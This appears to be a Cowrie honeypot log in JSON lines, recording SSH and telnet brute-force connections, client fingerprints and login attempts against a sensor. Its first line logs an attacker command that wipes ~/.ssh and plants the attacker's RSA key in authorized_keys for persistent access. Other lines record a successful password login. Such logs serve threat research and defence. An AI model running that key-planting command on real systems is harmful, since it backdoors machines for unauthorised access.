{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:30.885976Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:31.091617Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:31.095207Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":59426,"dst_ip":"10.17.0.5","dst_port":22,"session":"5402d01a5a6d","protocol":"ssh","message":"New connection: 154.198.162.75:59426 (10.17.0.5:22) [session: 5402d01a5a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:31.287610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:31.292779Z","src_ip":"154.198.162.75","session":"5402d01a5a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:31.492023Z","src_ip":"154.198.162.75","session":"5402d01a5a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:32.322137Z","src_ip":"154.198.162.75","session":"5402d01a5a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:33.525015Z","src_ip":"154.198.162.75","session":"5402d01a5a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":59442,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffb1b5d4f842","protocol":"ssh","message":"New connection: 154.198.162.75:59442 (10.17.0.5:22) [session: ffb1b5d4f842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:33.734461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:33.739992Z","src_ip":"154.198.162.75","session":"ffb1b5d4f842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:33.952805Z","src_ip":"154.198.162.75","session":"ffb1b5d4f842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48934,"dst_ip":"159.203.135.109","dst_port":23,"session":"960306e6c795","protocol":"telnet","message":"New connection: 147.182.143.59:48934 (159.203.135.109:23) [session: 960306e6c795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:34.196116Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:34.842657Z","src_ip":"154.198.162.75","session":"ffb1b5d4f842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:35.051709Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:35.058434Z","src_ip":"154.198.162.75","session":"ffb1b5d4f842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.241660356521606,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:35.254813Z","src_ip":"147.182.143.59","session":"6d07ccfcba3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47664,"dst_ip":"159.203.135.109","dst_port":23,"session":"b67df66e5da5","protocol":"telnet","message":"New connection: 147.182.143.59:47664 (159.203.135.109:23) [session: b67df66e5da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:42.650542Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46072,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f56c604cebf","protocol":"telnet","message":"New connection: 45.58.127.90:46072 (10.17.0.5:23) [session: 3f56c604cebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:43.323415Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47668,"dst_ip":"159.203.135.109","dst_port":23,"session":"682ad7ece6ae","protocol":"telnet","message":"New connection: 147.182.143.59:47668 (159.203.135.109:23) [session: 682ad7ece6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:46.327226Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46086,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3adc7dba7d6","protocol":"telnet","message":"New connection: 45.58.127.90:46086 (10.17.0.5:23) [session: a3adc7dba7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:46.659360Z"}
{"eventid":"cowrie.session.closed","duration":13.399896383285522,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:47.595867Z","src_ip":"147.182.143.59","session":"960306e6c795","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.685794353485107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:47.702566Z","src_ip":"69.162.99.242","session":"c90bacbd1779","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39748,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad9597a7d694","protocol":"telnet","message":"New connection: 147.182.143.59:39748 (159.203.135.109:23) [session: ad9597a7d694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:51.884657Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46434,"dst_ip":"10.17.0.5","dst_port":23,"session":"137bdd2b1c2e","protocol":"telnet","message":"New connection: 45.58.127.90:46434 (10.17.0.5:23) [session: 137bdd2b1c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:54.805579Z"}
{"eventid":"cowrie.session.closed","duration":12.29162073135376,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:54.942028Z","src_ip":"147.182.143.59","session":"b67df66e5da5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.47629690170288,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:55.803345Z","src_ip":"147.182.143.59","session":"682ad7ece6ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46438,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a3718926a65","protocol":"telnet","message":"New connection: 45.58.127.90:46438 (10.17.0.5:23) [session: 0a3718926a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:57.419874Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":36396,"dst_ip":"159.203.135.109","dst_port":23,"session":"95985353b515","protocol":"telnet","message":"New connection: 69.162.99.242:36396 (159.203.135.109:23) [session: 95985353b515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:01.121614Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34358,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b0443136130","protocol":"telnet","message":"New connection: 45.58.127.90:34358 (10.17.0.5:23) [session: 5b0443136130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:02.660204Z"}
{"eventid":"cowrie.session.closed","duration":38.62553668022156,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:02.966393Z","src_ip":"45.58.127.90","session":"670036faec9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34368,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f7dc0a56088","protocol":"telnet","message":"New connection: 45.58.127.90:34368 (10.17.0.5:23) [session: 0f7dc0a56088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:04.015886Z"}
{"eventid":"cowrie.session.closed","duration":14.234859466552734,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:06.119377Z","src_ip":"147.182.143.59","session":"ad9597a7d694","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.200.208","src_port":22964,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a594d3777b7","protocol":"ssh","message":"New connection: 195.154.200.208:22964 (10.17.0.5:22) [session: 5a594d3777b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:08.252991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:08.258364Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:08.352300Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:d7:ee:1d:5c:86:6d:10:a4:08:68:72:03:dc:6e:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDca/j37m9U4trwVR0acPQoU5IxTYnUx6fMLhq8Zl6HOvUBZRTBqth7tdjMnHpg8FjojHs9Egy36XjqrXy5TqzBmsD6X2LhSQ01RmD1ya6svRx+GZy7RvBG48xFyrt99Vnw7EyzupS0IHwaw1WI6w8pPuabNHDcYCtq4BCLAhJfTRFVyz5hqXtZ6FWhiSFBToLwsm3eNEWfJP1jfxQ6217611TWMatB2BHWX/k+4wWGOb75tG2Rj3dEyNMH71q1esGx4vqsUF9BoQ7y/dy2tBS8qrop7M6HxhT7R0XBXdH9/SvrL5CgUJu+hUQqChsfYMlpYRK/lvHEDXOXiYwZdlF/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:d7:ee:1d:5c:86:6d:10:a4:08:68:72:03:dc:6e:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:08.750282Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:d7:ee:1d:5c:86:6d:10:a4:08:68:72:03:dc:6e:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDca/j37m9U4trwVR0acPQoU5IxTYnUx6fMLhq8Zl6HOvUBZRTBqth7tdjMnHpg8FjojHs9Egy36XjqrXy5TqzBmsD6X2LhSQ01RmD1ya6svRx+GZy7RvBG48xFyrt99Vnw7EyzupS0IHwaw1WI6w8pPuabNHDcYCtq4BCLAhJfTRFVyz5hqXtZ6FWhiSFBToLwsm3eNEWfJP1jfxQ6217611TWMatB2BHWX/k+4wWGOb75tG2Rj3dEyNMH71q1esGx4vqsUF9BoQ7y/dy2tBS8qrop7M6HxhT7R0XBXdH9/SvrL5CgUJu+hUQqChsfYMlpYRK/lvHEDXOXiYwZdlF/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:08.754256Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:1f:ef:8c:75:47:ac:2e:65:2d:b6:68:34:74:94:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXAn7sLc/gNc7WwC6X074hdTjLuwOuUbz2xkh0fwz6149ZqA2exl0afa0vcorOP9PB430Wn6s/3XCti2hLsXcXHbFjtvYU5chsdA+Zm7ERvI2JOHoXbhGAkitBMPHfbfYXVKVoWQngpl4hTez3geYQzOf6Afg+eCZ6A6l5sHkxW6yGDxtvgZ50qcOyFFv2v+Qd+bdZQ8Xykti6rz7Q3wwZnNzjBRy06R/+sbCSjhWH05lq2RqrRdv19EtHU4qDFxky+woEARx2lmeSQjrhDTTmqLOAJ3Kx+Pr6XGNLNTC9M7IZxrZdP2cvG5YJ2Fwrfy9JnjqTEVaeKJE+gNii1RZaNz8uVnGtApxep/f7P4Bz/m5Hj93nIg+xBfWx3JS4vxZqDppTKr3SzVrHJrkauR+euv5UCxcNvEIlIa9PyxijAPo9U0Ssotc3K3Ow+CFcriYPn1MyvDmeQuP5wVOM4vyfGFZ0TVYcOJtNflhwOCl8k2AEe/HLXy1uF2v3ssVMPgf0Rf/Jb+n92o7iUctvzjTKgySOap6ajYOUwxJSCK8lmMNLhvtE9xD/hdYKn1dT/HDe/JYiNCVR5Q3VeMkbyGnjHxmv1oEaJXQzqGeyydk2Vc4C2mN/oQ5vHiCzWXtrxVDozwpKi9cZsP/6cCGINN9qVEU0oJq8I9iYdFVeLNKygw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:1f:ef:8c:75:47:ac:2e:65:2d:b6:68:34:74:94:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:08.839518Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:1f:ef:8c:75:47:ac:2e:65:2d:b6:68:34:74:94:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXAn7sLc/gNc7WwC6X074hdTjLuwOuUbz2xkh0fwz6149ZqA2exl0afa0vcorOP9PB430Wn6s/3XCti2hLsXcXHbFjtvYU5chsdA+Zm7ERvI2JOHoXbhGAkitBMPHfbfYXVKVoWQngpl4hTez3geYQzOf6Afg+eCZ6A6l5sHkxW6yGDxtvgZ50qcOyFFv2v+Qd+bdZQ8Xykti6rz7Q3wwZnNzjBRy06R/+sbCSjhWH05lq2RqrRdv19EtHU4qDFxky+woEARx2lmeSQjrhDTTmqLOAJ3Kx+Pr6XGNLNTC9M7IZxrZdP2cvG5YJ2Fwrfy9JnjqTEVaeKJE+gNii1RZaNz8uVnGtApxep/f7P4Bz/m5Hj93nIg+xBfWx3JS4vxZqDppTKr3SzVrHJrkauR+euv5UCxcNvEIlIa9PyxijAPo9U0Ssotc3K3Ow+CFcriYPn1MyvDmeQuP5wVOM4vyfGFZ0TVYcOJtNflhwOCl8k2AEe/HLXy1uF2v3ssVMPgf0Rf/Jb+n92o7iUctvzjTKgySOap6ajYOUwxJSCK8lmMNLhvtE9xD/hdYKn1dT/HDe/JYiNCVR5Q3VeMkbyGnjHxmv1oEaJXQzqGeyydk2Vc4C2mN/oQ5vHiCzWXtrxVDozwpKi9cZsP/6cCGINN9qVEU0oJq8I9iYdFVeLNKygw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:08.843484Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:44:95:37:4b:10:4b:03:46:26:70:f9:7c:ae:56:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOGTEQXwPUw7txJFCRNjQsCM4ciacKjTRGknZOl/HQoD/iBgeobofesWuvXsZcLAuc2kYD1h8nV28kIeNGrWVv8iu//EEn9B2k4Ko6lu/bf54/EMiKJb9NrD3CbcB5hK4eqlVULxbWY2d2TRRYYYmEXeYkVjkcuvKDaRS37fbYv2PptZvjEJ6cBYc6Q/ldZPsZX4p896eE7w4rTUVvDG5n4GjCp0PUBwAOvXeIm+vGhzmxB+hzLYt/eiqx/25cfNTZ+o0hs5dZC5VoEOonqXidFYns+dNaz+c9jDZjtOi6hGqoYoeuByJMivFJiBJBr7YgY/Rdxnm4PZjDOK4/+8FajLxfGd/wxHCwO46rrwnn3+O+3slG9WYC2nJJnr9NKiOFzRQyW3p/VUoXKdB111e4F7zdjFL673EfW5eZ7zHHIvKK3am+apjxEr/xAV8whOA2lKxxt75NMyakcbStrYcJoI/kC8GwzhOKOskLzrhwUlJdkcpGBpFbXWTLhhNObYPVHeQD9gzgb7+kKZ/M1KdsGs7v78SSZD+5GWEL7eWP4Nxr1qt8bG639UlmKaJv4pNNducu2aRMFaYSeON3SRbuOR5OWIShxfghYlLFzrZfE4e15Qwu8uPhauom/d30xs9sWChweJk/ZZIW9lXyv8/9jYvxSgoU18WiT41MtvGDFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:44:95:37:4b:10:4b:03:46:26:70:f9:7c:ae:56:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:45:08.926398Z","src_ip":"195.154.200.208","session":"5a594d3777b7","protocol":"ssh"}
